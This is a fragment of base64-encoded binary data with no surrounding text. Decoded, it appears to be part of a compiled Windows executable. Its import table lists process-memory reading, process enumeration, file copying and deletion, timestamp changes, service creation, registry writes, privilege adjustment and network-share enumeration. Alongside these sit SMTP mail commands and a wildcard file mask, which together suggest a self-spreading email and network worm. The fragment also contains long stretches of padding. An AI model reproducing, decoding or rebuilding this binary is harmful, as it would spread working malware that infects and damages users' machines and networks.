DAAZAAEAAQACAA4ACgAfAAQAAQADABkACAAPAAIAAgALAAIAAQAGAP////8vhUAAQ4VAAAAA
AAAAAAAAAAAAAP////8Ri0AAFYtAAP/////Fi0AAyYtAAAYAAAYAAQAAEAADBgAGAhAERUVF
BQUFBQU1MABQAAAAACAoOFBYBwgANzAwV1AHAAAgIAgAAAAACGBoYGBgYAAAcHB4eHh4CAcI
AAAHAAgICAAACAAIAAcIAAAAKABuAHUAbABsACkAAAAAAChudWxsKQAAcnVudGltZSBlcnJv
ciAAAA0KAABUTE9TUyBlcnJvcg0KAAAAU0lORyBlcnJvcg0KAAAAAERPTUFJTiBlcnJvcg0K
AABSNjAyOA0KLSB1bmFibGUgdG8gaW5pdGlhbGl6ZSBoZWFwDQoAAAAAUjYwMjcNCi0gbm90
IGVub3VnaCBzcGFjZSBmb3IgbG93aW8gaW5pdGlhbGl6YXRpb24NCgAAAABSNjAyNg0KLSBu
b3QgZW5vdWdoIHNwYWNlIGZvciBzdGRpbyBpbml0aWFsaXphdGlvbg0KAAAAAFI2MDI1DQot
IHB1cmUgdmlydHVhbCBmdW5jdGlvbiBjYWxsDQoAAABSNjAyNA0KLSBub3QgZW5vdWdoIHNw
YWNlIGZvciBfb25leGl0L2F0ZXhpdCB0YWJsZQ0KAAAAAFI2MDE5DQotIHVuYWJsZSB0byBv
cGVuIGNvbnNvbGUgZGV2aWNlDQoAAAAAUjYwMTgNCi0gdW5leHBlY3RlZCBoZWFwIGVycm9y
DQoAAAAAUjYwMTcNCi0gdW5leHBlY3RlZCBtdWx0aXRocmVhZCBsb2NrIGVycm9yDQoAAAAA
UjYwMTYNCi0gbm90IGVub3VnaCBzcGFjZSBmb3IgdGhyZWFkIGRhdGENCgANCmFibm9ybWFs
IHByb2dyYW0gdGVybWluYXRpb24NCgAAAABSNjAwOQ0KLSBub3QgZW5vdWdoIHNwYWNlIGZv
ciBlbnZpcm9ubWVudA0KAFI2MDA4DQotIG5vdCBlbm91Z2ggc3BhY2UgZm9yIGFyZ3VtZW50
cw0KAAAAUjYwMDINCi0gZmxvYXRpbmcgcG9pbnQgbm90IGxvYWRlZA0KAAAAAE1pY3Jvc29m
dCBWaXN1YWwgQysrIFJ1bnRpbWUgTGlicmFyeQAAAAAKCgAAUnVudGltZSBFcnJvciEKClBy
b2dyYW06IAAAAC4uLgA8cHJvZ3JhbSBuYW1lIHVua25vd24+AAAAAAAA/////2GvQABlr0AA
R2V0TGFzdEFjdGl2ZVBvcHVwAABHZXRBY3RpdmVXaW5kb3cATWVzc2FnZUJveEEAdXNlcjMy
LmRsbAAA6NYAAAAAAAAAAAAAFNwAAGTQAACE1gAAAAAAAAAAAADw3QAAANAAAETYAAAAAAAA
AAAAAP7dAADA0QAANNgAAAAAAAAAAAAAPt4AALDRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJbc
AACo3AAA2N0AAMDdAACe3QAAit0AALDdAABk3QAAUN0AAHrdAAAe3QAAEt0AADrdAADq3AAA
2twAAAjdAABu3AAAXtwAAITcAAA+3AAAMNwAAEzcAADG3AAAItwAAAAAAAAg2gAAQNoAAFLa
AABe2gAAatoAAAraAAA02gAAnNoAALLaAAC+2gAAztoAAODaAADQ2QAAftoAAI7aAAD02QAA
LtsAAEDbAABW2wAAatsAAILbAACS2wAAotsAALDbAADG2wAA2NsAAPTbAAAE3AAA3tkAAKTZ
AADE2QAAtNkAAPDaAAAC2wAAdtkAAHDYAACQ2AAAktkAAITZAAA+2QAAYNkAAFDZAAD82AAA
LtkAABjZAADK2AAA7NgAAN7YAACg2AAAttgAAK7YAAAQ2wAAHtsAAH7YAACs3gAAnN4AAA7g
AAD+3wAA8N8AAODfAADO3wAAvN8AALDfAACi3wAAlN8AAIbfAAB43wAAaN8AAEbeAABa3gAA
bN4AAHreAACG3gAAkN4AAFbfAAC83gAAyN4AANTeAADw3gAACt8AACTfAAA83wAAAAAAAC7e
AAAa3gAACt4AAAAAAAA0AACAAwAAgHQAAIAQAACAEwAAgAkAAIAEAACAbwAAgHMAAIAXAACA
AAAAALQARnJlZUxpYnJhcnkAPgFHZXRQcm9jQWRkcmVzcwAAwgFMb2FkTGlicmFyeUEAABsA
Q2xvc2VIYW5kbGUAlgJTbGVlcACeAlRlcm1pbmF0ZVByb2Nlc3MAABwCUmVhZFByb2Nlc3NN
ZW1vcnkA7wFPcGVuUHJvY2VzcwDZAU1vZHVsZTMyRmlyc3QATABDcmVhdGVUb29saGVscDMy
U25hcHNob3QAACQBR2V0TW9kdWxlRmlsZU5hbWVBAAD+AVByb2Nlc3MzMk5leHQA/AFQcm9j
ZXNzMzJGaXJzdAAA1gFNYXBWaWV3T2ZGaWxlADUAQ3JlYXRlRmlsZU1hcHBpbmdBAAASAUdl
dEZpbGVTaXplADQAQ3JlYXRlRmlsZUEAsAJVbm1hcFZpZXdPZkZpbGUAGwFHZXRMb2NhbFRp
bWUAABoBR2V0TGFzdEVycm9yAADMAUxvY2FsRnJlZQDIAUxvY2FsQWxsb2MAAPgAR2V0Q3Vy
cmVudFByb2Nlc3NJZADSAldpZGVDaGFyVG9NdWx0aUJ5dGUA5AFNdWx0aUJ5dGVUb1dpZGVD
aGFyAM4AR2V0Q29tcHV0ZXJOYW1lQQAAKABDb3B5RmlsZUEAuQFJc0RCQ1NMZWFkQnl0ZQAA
3wJXcml0ZUZpbGUAGAJSZWFkRmlsZQAAYwFHZXRUZW1wRmlsZU5hbWVBAABlAUdldFRlbXBQ
YXRoQQAAVwBEZWxldGVGaWxlQQBoAlNldEZpbGVBdHRyaWJ1dGVzQQAAkABGaW5kQ2xvc2UA
nQBGaW5kTmV4dEZpbGVBAJQARmluZEZpcnN0RmlsZUEAAGECU2V0RW5kT2ZGaWxlAABqAlNl
dEZpbGVQb2ludGVyAAAUAUdldEZpbGVUaW1lAGwCU2V0RmlsZVRpbWUAbQFHZXRUaWNrQ291
bnQAAEQAQ3JlYXRlUHJvY2Vzc0EAAFkBR2V0U3lzdGVtRGlyZWN0b3J5QQD3AEdldEN1cnJl
bnRQcm9jZXNzAJsCU3lzdGVtVGltZVRvRmlsZVRpbWUAAF0BR2V0U3lzdGVtVGltZQB1AUdl
dFZlcnNpb25FeEEAdAFHZXRWZXJzaW9uAADOAldhaXRGb3JTaW5nbGVPYmplY3QAygBHZXRD
b21tYW5kTGluZUEAgABFeHBhbmRFbnZpcm9ubWVudFN0cmluZ3NBAAQBR2V0RHJpdmVUeXBl
QQBKAENyZWF0ZVRocmVhZAAAS0VSTkVMMzIuZGxsAABbAVJlZ0Nsb3NlS2V5AGYBUmVnRW51
bUtleUEAcQFSZWdPcGVuS2V5QQBkAVJlZ0RlbGV0ZVZhbHVlQQBqAVJlZ0VudW1WYWx1ZUEA
NABDbG9zZVNlcnZpY2VIYW5kbGUAAEwAQ3JlYXRlU2VydmljZUEAAEUBT3BlblNDTWFuYWdl
ckEAALMBU3RhcnRTZXJ2aWNlQ3RybERpc3BhdGNoZXJBAK4BU2V0U2VydmljZVN0YXR1cwAA
RwFPcGVuU2VydmljZUEAAI4BUmVnaXN0ZXJTZXJ2aWNlQ3RybEhhbmRsZXJBAJ0ARnJlZVNp
ZACYAEVxdWFsU2lkAAAYAEFsbG9jYXRlQW5kSW5pdGlhbGl6ZVNpZAAA0ABHZXRUb2tlbklu
Zm9ybWF0aW9uAEIBT3BlblByb2Nlc3NUb2tlbgAAXAFSZWdDb25uZWN0UmVnaXN0cnlBALIB
U3RhcnRTZXJ2aWNlQQB7AVJlZ1F1ZXJ5VmFsdWVFeEEAAIYBUmVnU2V0VmFsdWVFeEEAAF4B
UmVnQ3JlYXRlS2V5QQAXAEFkanVzdFRva2VuUHJpdmlsZWdlcwD1AExvb2t1cFByaXZpbGVn
ZVZhbHVlQQBBRFZBUEkzMi5kbGwAAFdTMl8zMi5kbGwAABEAV05ldENsb3NlRW51bQAcAFdO
ZXRFbnVtUmVzb3VyY2VBAEAAV05ldE9wZW5FbnVtQQBNUFIuZGxsACYBR2V0TW9kdWxlSGFu
ZGxlQQAAUAFHZXRTdGFydHVwSW5mb0EAfQBFeGl0UHJvY2VzcwC/AEdldENQSW5mbwC5AEdl
dEFDUAAAMQFHZXRPRU1DUAAAvwFMQ01hcFN0cmluZ0EAAMABTENNYXBTdHJpbmdXAACfAUhl
YXBGcmVlAACZAUhlYXBBbGxvYwCtAlVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAAsgBGcmVl
RW52aXJvbm1lbnRTdHJpbmdzQQCzAEZyZWVFbnZpcm9ubWVudFN0cmluZ3NXAAYBR2V0RW52
aXJvbm1lbnRTdHJpbmdzAAgBR2V0RW52aXJvbm1lbnRTdHJpbmdzVwAAbQJTZXRIYW5kbGVD
b3VudAAAUgFHZXRTdGRIYW5kbGUAABUBR2V0RmlsZVR5cGUAnQFIZWFwRGVzdHJveQCbAUhl
YXBDcmVhdGUAAL8CVmlydHVhbEZyZWUALwJSdGxVbndpbmQAUwFHZXRTdHJpbmdUeXBlQQAA
VgFHZXRTdHJpbmdUeXBlVwAAuwJWaXJ0dWFsQWxsb2MAAKIBSGVhcFJlQWxsb2MAfAJTZXRT
dGRIYW5kbGUAAKoARmx1c2hGaWxlQnVmZmVycwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
W4lAAG+zQAAAAAAAAAAAABS0QAAAAAAAAAAAAAAAAAAAAAAAMw1BAEAAAAAgAAAALAAAAC0t
AABcAAAAUVVJVA0KAAANCi4NCgAAAERBVEEgDQoASEVMTyAlcw0KAAAAPg0KAE1BSUwgRlJP
TTogPAAAAABSQ1BUIFRPOjwAAAAlZAAAIAkNCgAAAAAuLCgpJSRAIWB+IAAtXwAALi4AAC4A
AABcKi4qAAAAAFxcAAAAAAAAiRV37zMZmXgQWLjJ8pkAAAcQ180JCAgIMCSnJ6OlpyejB6Gn
phAsqqAnLKqgJzAJiKEnB6GnphCgJgyMMCuiKaQtpycHJ6IqECGkKSIwIqQjoKEHoaemEKSg
pTAkpyejpacnowehp6YQrKeqpqIwJKcno6WnJ6MHoaemECqnpjCroKQkoCejB6GnpgckpRCq
IiEwK6IppC2nJwcnoioQqaSpMCSnJ6OlpyejB6GnphAqoCEhojAipCOgoQehp6YQIaqpJDAr
oimkLacnByeiKhCmqqWgMKshhiWgKKAnB6GnByUoECqnpaynMKshhiWgKKAnB6GnByUoEKmg
JiasJjCiK6IpKqKhJAehp6YHqaMQoCaiLCqgrDCiK6IpKqKhJAehp6YHqaMQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ
